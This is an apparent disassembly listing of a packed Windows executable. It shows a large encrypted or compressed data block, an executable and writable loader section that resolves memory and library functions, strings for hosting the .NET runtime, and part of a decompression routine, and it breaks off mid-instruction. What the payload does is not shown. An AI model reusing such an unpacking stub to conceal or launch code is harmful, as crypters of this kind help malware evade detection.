7933EF8Dh, 0FF6C684Bh, 25892D0Dh, 0F813C10h, 36ED2E37h dd 1633EFAFh, 0F13E1594h, 0B2D0F475h, 9F2CF798h, 70FF45D4h dd 78DBC783h, 1B497556h, 226E160Dh, 554D20B2h, 5AE8318h dd 0A4ED2D99h, 0B088AADBh, 48F35AA3h, 0F7E24BE6h, 0FB66855Ch dd 4B5892CDh, 349D2224h, 0D2305A2Bh, 70590555h, 3C5C1C59h dd 0CE08722Ch, 6F095864h, 45665BB4h, 5E6CBA72h, 0FF22FE5Ah dd 0A36AB12Ah, 80B5AD76h, 6F745544h, 3DDEF5C0h, 63A84BA9h dd 0F5443FB5h, 0D618914Bh, 65DACF0Ah, 1BABDBE9h, 837E98C9h dd 0A5B19F4h, 0C2B035Dh, 1DF5EC16h, 7CA84BC3h, 3FC54EC4h dd 36B73553h, 0C796B632h, 8F6952A0h, 0BD04FF9Ah, 0DD2BFA55h dd 991F0CADh, 0B2CE4623h, 88A8062Dh, 0EC0731E2h, 0D5EBD40Dh dd 6F99E067h, 0F2704554h, 584CCED1h, 18F2529Bh, 33AB1D33h dd 381C5172h, 0D082BA6Dh, 39206214h, 0C7E4E369h, 0A860BB58h dd 6555B8D2h, 0EDF1D6C3h, 0A226E409h, 0C2BD8965h, 4B5938DAh dd 0F004BD7Ch, 1B1AA190h, 0A53610A3h, 66E26150h, 0EA66189h dd 9846EE49h, 0E2FA97C7h, 0E243EC41h, 3D8F0FFEh, 5100B4Ch dd 903188DDh, 0DF4C45EAh, 5478AD24h, 28E63E94h, 18BBF5DAh dd 2F1DD56h, 0C5D6F45Dh, 65479150h, 18AED8AAh, 0D030F13Eh dd 5B80DFC5h, 0F48F66EAh, 72E671AFh, 9C6E59DDh, 35574E0Ch dd 264DF6C2h, 7F48099Eh, 0B64B26CBh, 972DA95Bh, 6E3AE79Ch dd 7C9CD749h, 0ECBBB296h, 0A7051B8h, 0CE289FD8h, 0A3053A8Eh dd 12415A17h, 0ECCB9E8Dh, 2C61CFFCh, 73DDD320h, 8775BD3Ah dd 0E5AAC605h, 0CF0FBEB8h, 3039FED9h, 9D4D9DC2h, 390959E2h dd 0F13B0E9Bh, 8218756Fh, 32A5685Ch, 78264140h, 2213537Ah dd 0B4CF494Ah, 0DF0931FBh, 7DC349B6h, 0CE363EB7h, 0FC904F2Fh dd 1629C687h, 88F13BD9h, 344639FCh, 0C2AB2563h, 9DC76CCDh dd 0D44A7052h, 0A91AC29Bh, 0A143E5B3h, 66B95D9Fh, 4A569010h dd 0EC6484B5h, 42D474E7h, 3F83553Ah, 70FC68C4h, 46ABBF64h dd 0F41E7DE1h, 9464E141h, 63CB6B93h, 8FB6B695h, 0C2C62BB7h dd 4242892Eh, 0AE84881Dh, 0DD33A402h, 0F701BF10h, 2B63FC08h dd 61799097h, 0FD84AC4Ch, 350C1A5Ch, 8FBFB938h, 0D741A84Bh dd 53AA559Fh, 0B2CDA0D9h, 6BA9AA97h, 0D6B6BA8Bh, 0F303DBEh dd 0F6C3632Eh, 536B9D87h, 1092FBDh, 0A8047671h, 7EC711F4h dd 350D19ABh, 4ECE2B6Eh, 0AA8A7E9Eh, 0E66EFDE4h, 43C9B0DCh dd 5D2E58Dh, 37DF3B93h, 0CCE27C32h, 9FB7FCB2h, 442C672Bh dd 0A2E0F20Eh, 0E864575Fh, 5BD30F61h, 3F39E702h, 5203E473h dd 367E9944h, 112C1CA8h, 87AA031Fh, 51DBB641h, 70C89C4Bh dd 0DEB045B8h, 0C3DF3A7Ah, 1BB0A911h, 0F2453C6Ah, 2A4F8485h dd 0E7DE07F9h, 0E9752853h, 8DB8ADE4h, 0A0881C5Dh, 132356D2h dd 924B677Bh, 4461D371h, 0B71E931Ah, 62886767h, 3B9D55FEh dd 0FDBE3A35h, 0C1BD5ABEh, 0EE7E2BD7h, 8E8E357Eh, 8556C1DCh dd 0B109EC52h, 7C0B69ACh, 66578485h, 431594C3h, 5019F1ADh dd 0E7C66BADh, 5EAB0442h, 1BC99B7Ah, 58937EA7h, 8E59484Fh dd 29811D0Fh, 0F1A8FD41h, 0A2432670h, 0B3FE4C45h, 5ABFE021h dd 866B25A5h, 9123444Fh, 390B08F3h, 0CFF74C81h, 0EFBA53BFh dd 0CA8E2F65h, 0CAE36D3Fh, 0C84B357Dh, 2C73390h, 34749AD6h dd 6B09EB04h, 322B7272h, 4A2AAD58h, 8D92BEEFh, 87FFA7F0h dd 2F47AA0Fh, 2A61D72Ah, 2332BA4Eh, 7598CD1Eh, 2B4AFEBAh dd 0C5469CCCh, 2D63BA4Fh, 1E0A9E9Ch, 0F211FCF2h, 2B61F93Bh dd 956804F0h, 0F51881DAh, 0EAAA2E42h, 7997597Fh, 22F6037h dd 663C1AA1h, 0AD47A0D4h, 0F4002845h, 93E6D3EFh, 363DA0FCh dd 0A368CF26h, 0D0D7279h, 5566326Ah, 114BA63Dh, 1A9A4AECh dd 0FCD1422Eh, 9FE4800h, 5DDE5AC2h, 344CC1E8h, 0F67361BCh dd 313EE8A6h, 13A41DB4h, 89CFB6EDh, 5D639AB6h, 942E8E1Fh dd 6F121FF3h, 2CE3F0A6h, 3169AC8Ah, 0E00EDED6h, 0CBA360A2h dd 0C46B46CFh, 0D79D5EC6h, 0F9449D2h, 0B9777763h, 0C96FC990h dd 0BAC874AFh, 32831A87h, 0F47E72A8h, 74964D23h, 0D1BD2630h dd 3A106C90h, 6F25245Dh, 7AB9A899h, 861EA3DFh, 0C47BA49Dh dd 8A218D99h, 0FBD190AAh, 1D2E3C99h, 0D87BEFBh, 0AA1582Bh dd 0E075D45Ch, 0EE0E9747h, 5FE896E4h, 0EEF8734Dh, 1ED5E3C8h dd 0C389BB12h, 9A2A468Fh, 0B50757A1h, 3962A2D2h, 464A90C0h dd 0E19E8DC5h, 0F9EBE8CAh, 7C342B37h, 0DD0208EFh, 20F28AD1h dd 0FCDC1E2Ah, 80B94C14h, 7ECD1E28h, 6A56AE31h, 0FE9E3BF8h dd 0BF439F56h, 712DB514h, 0A7D02EA5h, 58C5BFDDh, 96D5ACD1h dd 64B7C21Bh, 3535C47Eh, 659623D7h, 5F2EFC32h, 0B53E1C64h dd 4B00835Fh, 23F9BC68h, 0A39393Ah, 9A68A130h, 0E375E252h dd 1B39BA56h, 0D5D667FAh, 0B2FF9689h, 7E5DB055h, 0BC6D2215h dd 0E81624A3h, 434BF99Eh, 0D01EAD9Ch, 0AAB39D8h, 7770B707h dd 3AB69F59h, 0DD604E48h, 0CFC25E79h, 7D382669h, 7A48BD14h dd 0E57FB109h, 0E8AF19F4h, 45F3E5B8h, 0B608F1BDh, 9C9C1930h dd 0D0735607h, 58346B95h, 0FFCC13F5h, 0AF5A2595h, 0FD7D34CBh dd 0A0E8E952h, 74F386D1h, 9008CF26h, 8D7A5DCBh, 75BCBCF9h dd 29494E07h, 0F0520D8Ch, 0EC0D12F8h, 4B67BC6Eh, 4B9CD0A4h dd 0E6FF13B8h, 811B7397h, 0C3E79AEEh, 0DBDEFBA3h, 301361B1h dd 2FA8A881h, 18D1829Eh, 0D0BD11C3h, 0A9DE3E3Dh, 0E5296200h dd 0E6611BEh, 0AA580BCEh, 9BD27523h, 9E9AE9CFh, 9E28CD85h dd 75218949h, 0F454777Ah, 109EF81Eh, 5812DFD5h, 23821FAAh dd 0AC44F217h, 1CDDDC88h, 0BEFC74B0h, 7B542A0h, 0D6136DDCh dd 0B1E6344Ah, 0C5B9B443h, 0F1EBA243h, 0AD5395D0h, 0F7EA94B6h dd 0D9A8F316h, 0E4D13126h, 0B16BF8AEh, 9C92AC68h, 7C5928A4h dd 0C93FE06Eh, 0D3421083h, 0CB665E34h, 0DCAC68FDh, 5E503F62h dd 7B610188h, 595E86F0h, 0E4D80016h, 2DCA3607h, 0DAFC4E14h dd 0BDD96370h, 6F6A9ECCh, 0EA88C2FAh, 0F439DAC4h, 0F208D1E4h dd 89231FCAh, 9A64A9EDh, 9773EA49h, 0C5075D3Dh, 0FD128D12h dd 1FAE4C9Eh, 34A48430h, 0C13EB75Ah, 0F98EB0C8h, 40EF08F1h dd 0CD59E91Fh, 0A31CBDADh, 92E3BCACh, 7199EF49h, 3E8CB8F0h dd 0DF99FDAAh, 39DE6AAh, 0A2D3B0E7h, 9354E627h, 99AA1B03h dd 0ACB47EA3h, 55CDEC9h, 17235C81h, 2D234838h, 9529873Ah dd 0ECBB58B6h, 0C6271243h, 9C9CD11Bh, 7E65F9EAh, 0C1040DDFh dd 5771482Ah, 0A7337E42h, 0C02BA17Dh, 71E79CABh, 0EC0B2379h dd 5A2849Bh, 9F9627FBh, 1AB55328h, 0EF86925Fh, 12CD44D5h dd 9A3DFD0h, 14B948C9h, 4338FD5h, 24A1621Bh, 26CA5265h dd 7EED706h, 34897820h, 7263F567h, 0F797BE47h, 0C23905A6h dd 60938D12h, 0E1029D94h, 0F941EC16h, 88A0F92Ah, 313F11A0h dd 810C8168h, 0CC521A66h, 0C4CB4B7Fh, 2F4D64Bh, 0B77CC18Fh dd 8F3E3AB1h, 0F030251Ah, 26A1EC50h, 53AE72AFh, 0E8364F8Ch dd 26979164h, 304AB86h, 51966F5Ch, 9BE93393h, 0DC3780AEh dd 7F7E9C75h, 0D8936C36h, 0AA5D64E2h, 0B3506073h, 656E4921h dd 3718F38Fh, 3F4F04D6h, 1AD5A999h, 0B93A3DFBh, 962D5387h dd 663ED83Ah, 4F929341h, 96739E12h, 1B17D6EBh, 384B688Bh dd 2299CF90h, 0BB362F5Ch, 0D670A6EAh, 34943563h, 71CCC56Ch dd 0A7EE387Fh, 75F0D9A1h, 356AA5DAh, 962A26CCh, 0C8922B71h dd 700A4DACh, 0D9DFE8B0h dd 2A444233h, 36915769h, 7A08AF79h, 0C878FB20h, 56DA7B9Ch dd 9D38EEF3h, 2C1734C9h, 9DAA5E01h, 2794F975h, 1FF452B3h dd 6B47161Ah, 0E099DCDh, 0D979FDBh, 2C010D4Fh, 21065968h dd 0A0328C7Eh, 7F6CE193h, 70E7B4CAh, 7D9C8919h, 0EEF6A32h dd 9414920Eh, 340A6B50h, 340F58E7h, 0FBBDC623h, 822DEBCh dd 2E0A0B96h, 0A0806B10h, 0F4E1C0B7h, 6D69DC45h, 5D86702h dd 8C8A3E09h, 184D9C84h, 5D068DFh, 0D78433F4h, 85FF3D6Fh dd 5761CBEEh, 6EEA153Ch, 32FC91B3h, 173F5C24h, 9E29A89Fh dd 0E9978BD8h, 6A539A94h, 0CEE44D5h, 9F441BA8h, 7EA31832h dd 591D78ADh, 0EBA66974h, 720233F3h, 0E2183358h, 5196C348h dd 8139D8A1h, 5DECD5CBh, 39B2EF92h, 440B6468h, 23ADB682h dd 0B6AD16B8h, 9A612663h, 2DBE6CFAh, 1A9B0730h, 7621F8DDh dd 0D8CA9B46h, 0BD0B4C95h, 3FCD0823h, 4D9783B2h, 0CB7D4BDAh dd 0FDC7BF87h, 0C11C37CEh, 6912619Ch, 5F85EAC3h, 9FE19B21h dd 52C6C46h, 86204F6Bh, 782B225Fh, 1CC135D6h, 0E7A88FC2h dd 0A62AAB84h, 0B04BE21Dh, 0A3670DE5h, 357FD870h, 44830827h dd 1A20D771h, 86D62C3Ch, 78B8E783h, 778374C6h, 0A83D62D7h dd 101D7000h, 0FDD5B693h, 96D3952Bh, 6FAAF325h, 5E0039CAh dd 9683B69Bh, 0E864A695h, 959ED3C9h, 28F3961Dh, 41F12F4h dd 62DD2266h, 15C28241h, 715523EEh, 9229AAA7h, 89E8EED5h dd 88071973h, 0E96A1701h, 100495C8h, 0DBDCA9Eh, 6E978D9Dh dd 0FB86DC1Fh, 9A4C7B05h, 0F8A4CEDBh, 47780A43h, 0DFA3E04Ah dd 39FDB7C6h, 30645417h, 1B9F2D21h, 0FB25DA03h, 0B7279ED1h dd 0C208633h, 0F96E241Bh, 3D782352h, 91DA524Eh, 311DE16Ch dd 59D38ED2h, 0C10555DAh, 57077E1Fh, 0ABE400CFh, 0CBEA2650h dd 1D26E046h, 7B4BF678h, 2F465A54h, 72DD67FAh, 29113F52h dd 0AFE82D7Ah, 9D53DC9Eh, 3FBAD3F6h, 0C999E059h, 775CB6E4h dd 23DB61CDh, 0B3449477h, 0F2E3D63h, 0A8FB7D1h, 0AC9D00AEh dd 0EBE4DB18h, 65B85086h, 1EE1BE94h, 80715BA7h, 5BB42595h dd 1BD93908h, 0B8EE63ADh, 0E88B0A7Bh, 70DCBF05h, 0FA5DD62Fh dd 0FA0A4997h, 0E58A660Ch, 28D8B2E4h, 0F7DC34DFh, 0C983BB67h dd 4E48F2CBh, 66A46E20h, 74FE2E3Bh, 0A89935h, 9C8DAFF9h dd 0B8636DE0h, 7AC5170Eh, 2BE1857h, 0DED889Eh, 59479D98h dd 82866AFBh, 0D1031F96h, 0ECF2D42Dh, 7F73DDCh, 9F3EE6E4h dd 7F4EAE33h, 9C897A10h, 43C26081h, 181F4952h, 82315D2Eh dd 530BFE19h, 28324A64h, 145ACF5Bh, 1BC02AAAh, 5932355Bh dd 29A02D62h, 217ABE94h, 8D24EE50h, 0CB287CBEh, 3C07E90Ch dd 0CC2A48BCh, 99C20D99h, 3E517565h, 536F126Bh, 7D5A37D4h dd 3A27EED0h, 81F65387h, 840C1A0Ah, 5B2E58Fh, 9C2F808Ch dd 0AEDFA8A7h, 58555251h, 0A9D3B1C1h, 0CC378FA3h, 0DECEAC3Bh dd 39F23947h, 1DC65276h, 0E6464066h, 6DEF3F5Ch, 5134D6C9h dd 296C0F0Dh, 3A7E20E4h, 0CC37E45Ch, 0A757C380h, 9E1FFC70h dd 25B785A1h, 0A1ED0F20h, 4774B7C6h, 13CE9DD7h, 1EEAE1CFh dd 216650B8h, 3DA8718Ah, 0E7669D0Eh, 3862058Fh, 22BEE80Ch dd 58C5E9B4h, 22451A48h, 63CC77FCh, 0F59CDE8h, 0EAEF17D4h dd 4134BF8Ch, 160A242Ch, 6C1C3230h, 981A64EBh, 9B1FACB4h dd 7A34E887h, 8AB84D1Fh, 0A269D93Ch, 0EDD1E2Dh, 7288EF1Eh dd 29515200h, 5779ABFEh, 1A56234Ch, 0B4D556C7h, 0F82F6FA5h dd 0B87B3BA2h, 6BDA530Ah, 24092CF9h, 0E7F996ECh, 7169B35Dh dd 0A922EB61h, 5445519Dh, 4399BF6h, 7B481381h, 0AC65F3E2h dd 640DDA86h, 0C28ADB0h, 17734A65h, 6BC7E6FEh, 0BA3ACD2h dd 72E7134Ch, 2C776A42h, 0AC7DFAE7h, 8D3907DCh, 0DE557915h dd 8211803Eh, 0E0F7EC25h, 0ECC5D133h, 33F43C6Ah, 0F8F6716Fh dd 5CC73C10h, 0BD888876h, 1AF88659h, 579B4901h, 0BE6217F8h dd 8E943BF7h, 0DA7ED8F7h, 1B3C9CFBh, 0D72C52A0h, 60FF371Bh dd 580FAD11h, 0DE17B5E1h, 201BB4F5h, 0C645E788h, 9B3A03BFh dd 90653F66h, 0AE01116Bh, 0F719E298h, 408A46A8h, 0C7AFC156h dd 6CCBFEBAh, 31D78EF6h, 93E096D0h, 62A287E8h, 0C098A5B5h dd 154C14EBh, 0E8466AF7h, 349AD026h, 0A8C3BAEBh, 30F14DC0h dd 0A4D5A8E7h, 1104F99h, 9C024E31h, 4D762E04h, 77C3D867h dd 0C8D1CC05h, 7C4B0EBCh, 0D76F6D3Dh, 85660D15h, 0C3D97B7Bh dd 3173FA0h, 738885DFh, 2A2BDBC5h, 0E5D1716Ch, 0BE3D8E3h dd 7B03FC37h, 0A8E9EAF8h, 1DA356FEh, 55050C25h, 4C3EC79Eh dd 0AA777AB0h, 0FA6DF6F1h, 0A8A92E83h, 1F41EA79h, 0B536025h dd 0F80E54FAh, 342CB45Fh, 0EFB777A9h, 0FD4D00CEh, 0B3659B01h dd 3F31CB36h, 462C2F04h, 7E6D4C86h, 0A218E4C2h, 0B2B5B09Bh dd 0CB34F75Ah, 796F24FAh, 0BE0B853h, 0B2D2F649h, 9E9791E3h dd 92612EC2h, 0DDD5EE83h, 0B229C74Fh, 5EE9F8Bh, 28260F50h dd 0D56599B4h, 2563E811h, 0B95B5DD7h, 0AAB7985Eh, 6D0DB17Ch dd 0F5D7D43Dh, 0ABB172E9h, 8839144Ah, 0A3AEE7CAh, 0E0733A88h dd 0E02E5499h, 0BAF5F8E0h, 1D0D7AD8h, 0FF928624h, 0D5525440h dd 24E84B7Dh, 0D0C3D16Ch, 0FF8057h, 58473EA8h, 93064D1Ch dd 61B8D98Ch, 73B6264Fh, 0BFDD05FAh, 0DF817536h, 2A1A6215h dd 0F7670B8Dh, 0A74AC4FCh, 0EEBE7483h, 6E10F357h, 21F0C1E6h dd 2AE2C09Bh, 17F04AA7h, 59E10308h, 0BE8EC702h, 0ED34425Fh dd 0E7919166h, 44195A49h, 0A805E5A7h, 0C41DBE83h, 0B84528CCh dd 98AB576Eh, 7403C188h, 11DD58F9h, 3BF558Bh, 0CDB35A32h dd 0D6B1B1E8h, 0D9B765A8h, 19491847h, 6393BCB2h, 16C37517h dd 0C1AEB4A8h, 47AE3E89h, 6468FF68h, 37C0AA75h, 0C3FAC0CEh dd 7946F208h, 4423F17Eh, 0C9367A70h, 36930538h, 3C25FA21h dd 1EB26035h, 952305B7h, 0C9596592h, 7D568974h, 0A6456CF1h dd 5C6295F0h, 189523E9h, 56C91AD2h, 606F61E9h, 260A60ADh dd 34971EA7h, 1C6CD1F2h, 101560E5h, 13609369h, 4C44EB2Eh dd 0A9F524DAh, 12938632h, 3BFDD157h, 4BC0767Dh, 0A0329790h dd 7F0AD4DEh, 8282DB36h, 1A8FF8A6h, 93E0322Bh, 50C0C660h dd 6AFC6277h, 5A7CD82Ah, 19E1B59Fh, 0C0AD1F8Ch, 30F56CADh dd 6ABCC920h, 29643DB3h, 0E9A60A7h, 5211B9A2h, 5BB769B2h dd 9B0EFA2Ch, 81F4866Ch, 8CDC11C7h, 46D17291h, 313D15E9h dd 0BA98450Ch, 0E48C36DCh, 0E1C5F365h, 153EC298h, 0A005EC92h dd 96675B59h, 0CDD1FE92h, 0F482F465h, 9B307FB3h, 9AD5CCABh dd 48871h, 7CC75318h, 96773EB1h, 5089B1FCh, 0CDBF91FFh dd 21E84C06h, 0A8AC9F22h, 0BB6D3983h, 0BD527016h, 6D911FCFh dd 0BD18D55h, 7C8E0BD2h, 6DF905C4h, 9AC0AD5h, 0E2A1CBAEh dd 0B4B766F0h, 215498D6h, 9BADAA70h, 3FE4280Ah, 7F048C5Dh dd 0F43B87B3h, 29568E82h, 9355372Ah, 8C5E7D59h, 51E13474h dd 4110A72Fh, 16E1560Dh, 0DDE44158h, 0DDF4F5D0h, 35CE3F2Dh dd 11716FD9h, 0C3600B76h, 62B48B06h, 9720E1F2h, 0E1A27FBh dd 314AC234h, 0B77B145Bh, 3CC4CF01h, 9C284CB1h, 7E9E7276h dd 178A1890h, 4AA5268h, 31DD9D95h, 9D1B8CCEh, 0DCD96ED8h dd 0E4B9BDC0h, 0E222DEA1h, 3B1AD50Ah, 1AE3A6E0h, 0B19DDEDCh dd 0D491E7F9h, 0C57F2FA9h, 93564BB1h, 0DA327213h, 0C1A85E84h dd 0F43FBC08h, 9036DEF9h, 123900BEh, 16486D6Ah, 4ACE9A8Bh dd 0C883E17Fh, 569D096Bh dd 63EAFBCEh, 5980F5BFh, 0DAD9CE64h, 2AFE5FCDh, 24241E14h dd 9F63E433h, 292ECE6Bh, 83ED0ADCh, 5F0D838Ch, 3C0FF2CBh dd 120FC6D9h, 9AEA557Eh, 7B5E3ECBh, 5C8CA499h, 0CB88821Eh dd 94A2F6AAh, 0B9DE2000h, 2D0CD6D8h, 11F3A577h, 18808A72h dd 70C286EAh, 83B10AB3h, 0E60994C5h, 0CBE60C92h, 0C7BB24C3h dd 8992B4A7h, 7CA6779h, 0C53798E0h, 3785FEEBh, 452E44C0h dd 1E9516D0h, 0A49550E5h, 4AEB411Ch, 63F83B8Bh, 1AC0BD4h dd 108746E7h, 0EEA1309h, 0A1C02214h, 18726B8Bh, 5770F660h dd 49FF2CF0h, 19675EB4h, 3898A4D7h, 842041C0h, 0B870E8DDh dd 71DCB1F9h, 4A53357Bh, 0C3A3396Bh, 0E457632Ch, 651E384Ch dd 27CD42C2h, 0E6E34AA9h, 55CCBDCBh, 4CB9C7E6h, 0E4A0A118h dd 71FB7E72h, 0E9C022F3h, 1CEF759Dh, 0C5FA9EA4h, 0AAA03309h dd 0CFF9DB9Ah, 7AD5290Ah, 0BA05650Fh, 0A9D56C46h, 0F6A70888h dd 414AFD4Eh, 0D9CCBB79h, 0E526F469h, 499166FFh, 0C1CCE750h dd 0C261995Ch, 0B2AFB1BFh, 0A6017C46h, 0B976C30Ch, 8B3D39ECh dd 912356C6h, 0B61B7F7Ah, 0F69C94CEh, 0CB253AC9h, 5EE644EDh dd 0D53E262h, 5B8C5D1Bh, 2C83E0BAh, 7DF20F9Eh, 1338A149h dd 0F2540221h, 96F25022h, 3B5E24C8h, 1232DD78h, 1931BE8Eh dd 0DB7CA090h, 743B73A7h, 57858E5Fh, 0CF53DD64h, 996B8401h dd 26352878h, 69B3F53Bh, 144948BFh, 350A9155h, 0DDB2A04h dd 78FC9CD8h, 0ABC1E21Dh, 0B4FFD7CDh, 0D9C68F37h, 772A7C7Ah dd 4763B1C4h, 131A9117h, 2BE5F59Ch, 3F1DD213h, 150C0B0Bh dd 0BB493778h, 0A8DD145Ah, 0A88F71B3h, 0E29F2873h, 21EC2FD0h dd 3DC7A391h, 9DF8F39h, 0F3941A13h, 0A1B45165h, 40B26062h dd 8239650Bh, 5745D5E8h, 0C170177Ah, 0D2C38780h, 9A8088Dh dd 87850096h, 0C2835860h, 5071F547h, 51AECE21h, 77428BA1h dd 0CB269D1Ah, 5D636F77h, 0A01EBA8Ch, 5610A835h, 6701FEB9h dd 4ABA5DBCh, 0E392D847h, 503A2A93h, 41E7A64Bh, 154B768Eh dd 4F8AD166h, 53E7D065h, 6AAB2C13h, 73BD3C11h, 6E3CBECCh dd 737975C9h, 0ADA76EF6h, 480CCD1Bh, 443FA0D0h, 759897BDh dd 0A540A699h, 2F1AA3FBh, 0C4B11EEBh, 0B8291A1Bh, 0BDEDEEFFh ; --------------------------------------------------------------------------- aas _pdata ends ; Section 3. (virtual address 00219000) ; Virtual size : 0000181E ( 6174.) ; Section size in file : 0000181A ( 6170.) ; Offset to raw data for section: 00004600 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _ex_cod segment para public 'CODE' use32 assume cs:_ex_cod ;org 619000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing dword_619000 dd 175Eh ; DATA XREF: start:loc_619A55r ; start+21o dd offset sub_61A237 dd 0 dword_61900C dd 0 ; DATA XREF: sub_61A237+3r ; sub_61A28D+7w dword_619010 dd 0 ; DATA XREF: sub_61A237+32w ; sub_61A28Dr dword_619014 dd 0 ; DATA XREF: sub_61A237+3Cw ; sub_61A28D+1Fr dword_619018 dd 0 ; DATA XREF: sub_61A237+44w ; sub_61A28D+19r dword_61901C dd 0 ; DATA XREF: sub_61A237+4Cw ; sub_61A28D+13r dword_619020 dd 0 ; DATA XREF: start+116r dword_619024 dd 0 ; DATA XREF: start+26w start+2Br ... dword_619028 dd 0 ; DATA XREF: start+38w start+4Cr ... dword_61902C dd 0 ; DATA XREF: start+3Er ; start:loc_619A96w dd 2 dup(0) aUnexpectedRelo db 'Unexpected relocation type: *pw = 0x%04x *pdw = 0x%08x',0 ; DATA XREF: start+734o aErrorBadReloca db 'Error bad relocation pointer: *pdw = 0x%08x',0 ; DATA XREF: start+6E4o aTheHsFileIsL_0 db 'The %hs file is ',0Ah ; DATA XREF: start+595o db 'linked to missing export %hs:%hs.',0 align 10h aTheHsFileIsLin db 'The %hs file is ',0Ah ; DATA XREF: start+576o db 'linked to missing export %hs:0x%04x.',0 align 4 aARequired_dllF db 'A required .DLL file, %hs, was not found.',0 ; DATA XREF: start+48Bo align 4 aErrorAllocatin db 'Error allocating memory!',0 ; DATA XREF: start+200o align 10h dword_619150 dd 5F696DCh, 36632B29h, 38C48BADh, 13A7F29Ch ; DATA XREF: sub_61A2B8+131o aWks: ; DATA XREF: sub_61A2B8+F1o unicode 0, <wks>,0 aOleaut32_dll db 'oleaut32.dll',0 ; DATA XREF: sub_61A2B8+57o align 4 aCorbindtorunti db 'CorBindToRuntimeEx',0 ; DATA XREF: sub_61A2B8+4Fo align 4 aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: sub_61A2B8+45o aCouninitialize db 'CoUninitialize',0 ; DATA XREF: sub_61A2B8+38o align 4 aCoinitialize db 'CoInitialize',0 ; DATA XREF: sub_61A2B8+2Do align 4 aOle32_dll db 'ole32.dll',0 ; DATA XREF: sub_61A2B8+11o align 4 dd 219200h, 2 dup(0) dd 219304h, 219234h, 219228h, 2 dup(0) dd 21932Ch, 21925Ch, 5 dup(0) dd 219268h, 219276h, 219286h, 219298h, 2192AAh, 2192BEh dd 2192D0h, 2192DEh, 2192F4h, 0 dd 219312h, 21931Eh, 0 ; ; Imports from KERNEL32.dll ; ; BOOL __stdcall VirtualFree(LPVOID lpAddress,SIZE_T dwSize,DWORD dwFreeType) VirtualFree dd ? ; DATA XREF: sub_619960+ADr start+2E0r ... ; LPVOID __stdcall VirtualAlloc(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect) VirtualAlloc dd ? ; DATA XREF: sub_619960+65r start+75r ... ; FARPROC __stdcall GetProcAddress(HMODULE hModule,LPCSTR lpProcName) GetProcAddress dd ? ; DATA XREF: start+523r start+545r ... ; HMODULE __stdcall LoadLibraryExA(LPCSTR lpLibFileName,HANDLE hFile,DWORD dwFlags) LoadLibraryExA dd ? ; DATA XREF: start+43Br start+479r ; HMODULE __stdcall GetModuleHandleA(LPCSTR lpModuleName) GetModuleHandleA dd ? ; DATA XREF: start+425r ; BOOL __stdcall VirtualProtect(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,PDWORD lpflOldProtect) VirtualProtect dd ? ; DATA XREF: start+40Dr start+5C9r ... ; void __stdcall ExitProcess(UINT uExitCode) ExitProcess dd ? ; DATA XREF: start+20Fr start+4AEr ... ; DWORD __stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize) GetModuleFileNameA dd ? ; DATA XREF: start+AAr ; HMODULE __stdcall LoadLibraryA(LPCSTR lpLibFileName) LoadLibraryA dd ? ; DATA XREF: sub_61A2B8+9r dd 0 ; ; Imports from USER32.dll ; wsprintfA dd ? ; DATA XREF: start+493r start+57Er ... ; int __stdcall MessageBoxA(HWND hWnd,LPCSTR lpText,LPCSTR lpCaption,UINT uType) MessageBoxA dd ? ; DATA XREF: start+207r start+4A6r ... dd 0 dd 69560378h, 61757472h, 6572466Ch, 3750065h, 74726956h dd 416C6175h, 636F6C6Ch, 1980000h, 50746547h, 41636F72h dd 65726464h, 7373h, 6F4C0249h, 694C6461h, 72617262h, 41784579h dd 1770000h, 4D746547h, 6C75646Fh, 6E614865h, 41656C64h dd 37B0000h, 74726956h, 506C6175h, 65746F72h, 7463h, 784500AFh dd 72507469h, 7365636Fh, 1750073h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 dd 6F4C0248h, 694C6461h, 72617262h, 4179h, 4E52454Bh, 32334C45h dd 6C6C642Eh, 2D50000h, 72707377h, 66746E69h, 1DE0041h dd 7373654Dh, 42656761h, 41786Fh, 52455355h, 642E3233h dd 6C6Ch ; --------------------------------------------------------------------------- loc_619338: ; DATA XREF: sub_61A2B8+E5o and ah, [edi+2Fh] retf ; --------------------------------------------------------------------------- cmp ch, [ebx+409C11D2h] add al, al dec edi mov ds:67233E0Ah, eax ; DATA XREF: sub_61A2B8+EAo das retf ; --------------------------------------------------------------------------- dd 11D2AB3Ah, 0C000409Ch, 3E0AA34Fh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_619358 proc near ; CODE XREF: sub_6195EB+309p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] push esi xor eax, eax mov esi, [ecx+8] push edi mov edi, [ecx+0Ch] test edx, edx jle short loc_6193B0 push ebx mov [ebp+arg_0], edx loc_619373: ; CODE XREF: sub_619358+55j shr esi, 1 shl eax, 1 cmp edi, esi jb short loc_61937F sub edi, esi or al, 1 loc_61937F: ; CODE XREF: sub_619358+21j cmp esi, 1000000h jnb short loc_6193AA mov edx, [ecx] shl esi, 8 cmp edx, [ecx+4] jnz short loc_61939D mov dword ptr [ecx+10h], 1 or bl, 0FFh jmp short loc_6193A2 ; --------------------------------------------------------------------------- loc_61939D: ; CODE XREF: sub_619358+37j mov bl, [edx] inc edx mov [ecx], edx loc_6193A2: ; CODE XREF: sub_619358+43j movzx edx, bl shl edi, 8 or edi, edx loc_6193AA: ; CODE XREF: sub_619358+2Dj dec [ebp+arg_0] jnz short loc_619373 pop ebx loc_6193B0: ; CODE XREF: sub_619358+15j mov [ecx+0Ch], edi mov [ecx+8], esi pop edi pop esi pop ebp retn sub_619358 endp ; =============== S U B R O U T I N E ======================================= sub_6193BA proc near ; CODE XREF: sub_61947F+1Dp ; sub_6194B6+1Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] mov edx, [esp+arg_0] push esi push edi mov eax, [ecx+8] movzx esi, word ptr [edx] mov edi, eax shr edi, 0Bh imul edi, esi mov esi, [ecx+0Ch] cmp esi, edi jnb short loc_61942B mov [ecx+8], edi mov ax, [edx] movzx esi, ax mov edi, 800h sub edi, esi sar edi, 5 add edi, eax mov [edx], di mov eax, 